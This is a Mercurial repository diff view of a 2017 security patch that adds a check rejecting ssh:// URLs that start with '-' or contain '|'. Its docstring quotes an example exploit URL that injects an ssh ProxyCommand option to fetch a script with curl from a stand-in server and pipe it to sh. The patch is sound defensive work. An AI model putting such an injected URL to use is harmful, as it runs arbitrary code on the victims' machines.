Mercurial > public > mercurial-scm > hg
comparison mercurial/util.py @ 33650:0b3fe3910ef5 stable
util: add utility method to check for bad ssh urls (SEC)
Our use of SSH has an exploit that will parse the first part of an url
blindly as a hostname. Prior to this set of security patches, a url
with '-oProxyCommand' could run arbitrary code on a user's machine. In
addition, at least on Windows, a pipe '|' can be abused to execute
arbitrary commands in a similar fashion.
We defend against this by checking ssh:// URLs and looking for a
hostname that starts with a - or contains a |.
When this happens, let's throw a big abort into the user's face so
that they can inspect what's going on.
| author | Sean Farley <sean@farley.io> |
|---|---|
| date | Fri, 28 Jul 2017 16:32:25 -0700 |
| parents | 524b13fc711f |
| children | 60ee7af2a2ba |
comparison
equal
deleted
inserted
replaced
| 33649:377e8ddaebef | 33650:0b3fe3910ef5 |
|---|---|
| 2892 return path and path[1:2] == ':' and path[0:1].isalpha() | 2892 return path and path[1:2] == ':' and path[0:1].isalpha() |
| 2893 | 2893 |
| 2894 def urllocalpath(path): | 2894 def urllocalpath(path): |
| 2895 return url(path, parsequery=False, parsefragment=False).localpath() | 2895 return url(path, parsequery=False, parsefragment=False).localpath() |
| 2896 | 2896 |
| 2897 def checksafessh(path): | |
| 2898 """check if a path / url is a potentially unsafe ssh exploit (SEC) | |
| 2899 | |
| 2900 This is a sanity check for ssh urls. ssh will parse the first item as | |
| 2901 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. | |
| 2902 Let's prevent these potentially exploited urls entirely and warn the | |
| 2903 user. | |
| 2904 | |
| 2905 Raises an error.Abort when the url is unsafe. | |
| 2906 """ | |
| 2907 path = urlreq.unquote(path) | |
| 2908 if path.startswith('ssh://-') or '|' in path: | |
| 2909 raise error.Abort(_('potentially unsafe url: %r') % | |
| 2910 (path,)) | |
| 2911 | |
| 2897 def hidepassword(u): | 2912 def hidepassword(u): |
| 2898 '''hide user credential in a url string''' | 2913 '''hide user credential in a url string''' |
| 2899 u = url(u) | 2914 u = url(u) |
| 2900 if u.passwd: | 2915 if u.passwd: |
| 2901 u.passwd = '***' | 2916 u.passwd = '***' |